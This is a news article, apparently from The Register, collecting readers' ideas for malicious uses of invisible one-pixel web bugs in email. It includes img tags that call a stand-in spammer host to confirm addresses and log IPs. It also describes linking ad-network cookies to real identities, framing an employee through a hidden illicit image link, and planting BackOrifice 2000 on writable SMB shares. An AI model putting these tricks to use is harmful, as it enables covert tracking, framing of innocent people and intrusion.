In a recent story we expressed scepticism over claims that the famous HTML bug - an invisible one-pixel image embedded in an HTML document or e-mail message referencing another image on a remote server - could be used for more than verifying e-mail addresses and garnering IPs.
We asked our readers to suggest more malicious uses, and while all agreed that this bug is rather limited (a mere spanner in the toolbox, so to speak), two produced ideas which we hadn't thought of, and which are, we have to admit, a little scary.
First, to use the bugs for e-mail verification, one might use a simple script to deliver the messages, each containing a unique ID number corresponding to an e-mail address in an existing database. The victim's e-mail client would call the 1x1 transparent GIF thus: < img src="http://www.dirtbag-spammer.org/cgi-bin/e-mail.cgi?uniqueID#" >.
The e-mail.cgi then creates a new database of good e-mail addresses, the IPs used, etc., based on the unique ID number.
For a somewhat more direct approach, a simple query can be employed thus: < img src="http://email@example.com" > or perhaps < img src="http://firstname.lastname@example.org" >.
Any e-mail opened would request the URL, and the e-mail addresses and IP numbers can be parsed and stored in a database.
Another use for the HTML bug is to track the distribution of documents within a company, e.g., a job-hunter distributing his resume. Everyone who opens the document will automatically connect quietly to the server where the image is stored, and server logs will show who did so.
For a very sweet dirty trick along those lines, one could embed a link to a porn picture on-line, resized at 1x1 so it's invisible in the e-mail. Network logs will show that a given employee requested, say, preteen_bestial.gif from www.loathsome-sex-offenders.com. Even better, if the company has spyware in place, the jack-booted network thugs won't even have to be notified by the trickster before grassing him out to senior management.
Honourable mention goes to Stefan for noting that cookies can be used and referenced with both e-mail addresses and with records easily purchased from consumer profiling outfits, to associate not only the e-mail with a living person and their real-life address, but also to track them on the Web.
"By placing the server that delivers the image in the same domain as, say, a banner ad network, it is possible to access the users cookies set by the ad network and thus associate a hitherto anonymous user profile with a working e-mail address. A lot of the Web bugs out there are already placed by or on behalf of well-known ad networks who hire "image space" on spam lists for this very purpose," he writes.
"Put this together with the data that can be purchased from a number of data mining outfits who specialize in deep geographical user profiling, and something as seemingly harmless as a 1x1 pixel image embedded in a mail message can be used to associate a Web sites visited by a user with a street address. In today's world of personalized e-commerce, such knowledge is worth serious money."
Nice one, that; but the coveted Register t-shirt goes to PinkFreud for this deliciously malevolent suggestion:
"Post a message on USENET with an IMG tag which points to a CGI script which returns a one-pixel image, while logging the IP as well as scanning for open, writable SMB shares, onto which one might, say, copy BackOrifice 2000 (C:\ share?). Installing it shouldn't be too hard - modify one of a few possible Windows files, and it should be installed on the next boot. Make it a bit more sophisticated, and the victim's system can e-mail you its IP address the next time it's on line."
Now that's what we call evil ingenuity. We knew our readers wouldn't let us down. ®
Grateful thanks to: Steven Hunter, Anthony Awtrey, Michael Herf, Karsten Self, Michael Ax, Colin Percival, David Lancaster, Rick McTeague, Alexis Rosen, Ray Shaw, Mark Yen, Steven Critchfield, PinkFreud, John Swindle, Martin Burns, Nathan Jones, André Mariën, Richard Parrott, Will MacDonald, Com2Kid, Matthew Duggan, Brian Baker, Russ Davies, Alan Frame, Justin Murdock, Daniel Barlow, Stefan, Mark Powell, Daniel Brandt, Jethro Brewin, Andrew Gallagher and two anonymous readers for their excellent submissions.